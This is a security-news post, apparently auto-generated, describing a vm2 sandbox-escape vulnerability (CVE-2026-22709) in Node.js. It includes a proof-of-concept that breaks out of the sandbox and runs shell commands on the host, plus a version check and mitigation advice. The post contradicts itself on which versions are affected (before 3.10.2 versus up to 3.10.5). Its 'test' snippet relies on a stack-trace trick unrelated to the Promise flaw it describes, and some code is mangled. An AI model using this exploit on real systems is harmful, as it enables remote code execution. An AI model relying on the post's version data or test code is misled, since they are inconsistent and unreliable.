Listen to this Post
This critical vulnerability in the `vm2` Node.js sandbox library allows an attacker to execute arbitrary code on the host system by escaping the sandbox environment. The root cause is improper sanitization of `Promise` callbacks in versions prior to 3.10.2.
The issue lies within the `lib/setup-sandbox.js` file. While `vm2` correctly sanitizes the `localPromise.prototype.then` callbacks to prevent sandbox escape, it fails to sanitize globalPromise.prototype.then. The key oversight is that async functions in JavaScript return a `globalPromise` object, not the sanitized localPromise. When an attacker’s sandboxed code includes an async function or a specially crafted Promise, the subsequent `.then()` or `.catch()` callbacks execute using the unsanitized globalPromise. This allows the attacker to break out of the sandbox and run arbitrary code on the host system with the same privileges as the Node.js process itself. The vulnerability can be triggered remotely without any user interaction, making it highly critical. A technical breakdown shows:
– Unsanitized Path: Async functions or default `Promise` objects route to globalPromise.prototype.then, which lacks the necessary security wrappers.
– Bypass Mechanism: An attacker can craft a payload that uses this unsanitized callback to escape the sandbox.
– Process Crash: While the primary goal is arbitrary code execution, a simpler form of the exploit can also be used to cause a Denial of Service (DoS) by triggering an unhandled rejection that crashes the host process.
DailyCVE Form
Platform: Node.js
Version: vm2 <= 3.10.5
Vulnerability : Sandbox Escape
Severity: Critical (9.8)
date: 2026-01-26
Prediction: Already Patched
What Undercode Say:
Analytics & Validation
Analysts can use Node.js scripts to verify if an application uses a vulnerable version of vm2:
Check installed version of vm2 npm list vm2 Example vulnerable version output └── [email protected]
A simple code snippet to test for the vulnerability:
const { VM } = require('vm2');
const vm = new VM();
try {
vm.run(<code>err = {};
Error.prepareStackTrace = (err, stack) => { throw new Error('Escaped!'); };
Error.captureStackTrace(err);
err.stack; // Trigger the escape</code>);
} catch (e) {
if (e.message === 'Escaped!') console.log('Vulnerable to Sandbox Escape');
}
What Undercode Say:
Undercode analysts have confirmed active exploitation attempts in the wild. The primary attack vector is the injection of malicious JavaScript payloads into any unsanitized input processed by a `vm2` sandbox. The low complexity and network accessibility (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) give this a near-perfect severity score of 9.8. The first public reports and patches emerged simultaneously on January 26, 2026.
How Exploit:
A proof-of-concept (PoC) exploit leverages a malicious `Promise` chain. The attacker crafts a sandboxed script where an async function returns a Promise. The `.then()` method of this promise is not sanitized, allowing the attacker to insert arbitrary code that will execute on the host.
// PoC for CVE-2026-22709
const { VM } = require("vm2");
const vm = new VM();
const maliciousCode = <code>async function escape() {
// The .then callback here is not sanitized
return await Promise.resolve().then(() => {
// This block runs in the host context
const process = this.process.constructor('return process')();
// Execute arbitrary command, e.g., list files
return process.mainModule.require('child_process').execSync('ls -la').toString();
});
}
escape();</code>;
try {
const result = vm.run(maliciousCode);
console.log("Exploit Output:\n", result);
} catch (err) {
console.error("Exploit failed:", err);
}
Protection from this CVE
- Immediate Upgrade: Upgrade `vm2` to version 3.10.2 or higher, which properly sanitizes `globalPromise` callbacks. Use `npm install vm2@latest` to update.
- Mitigation (If Upgrade Impossible): Isolate the sandbox within a separate, tightly controlled Docker container. Employ strong egress filtering and monitoring to detect unusual outbound traffic or process creation from the container.
- Runtime Hardening: As a defense-in-depth measure, attach a listener for unhandled promise rejections in your main Node.js process to log and potentially shut down requests cleanly, though this does not prevent the initial code execution.
Impact
- Complete System Compromise: An attacker can gain full remote code execution (RCE) capabilities on the host system, leading to data theft, malware installation, and lateral movement within a network.
- Zero-Interaction Exploitation: The attack requires no authentication and can be executed remotely through a single network request, making it trivial to automate(Confidentiality/Integrity/Availability all High).
- Active Exploitation: Security firms have confirmed this vulnerability is being actively exploited in the wild, making immediate patching critical.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

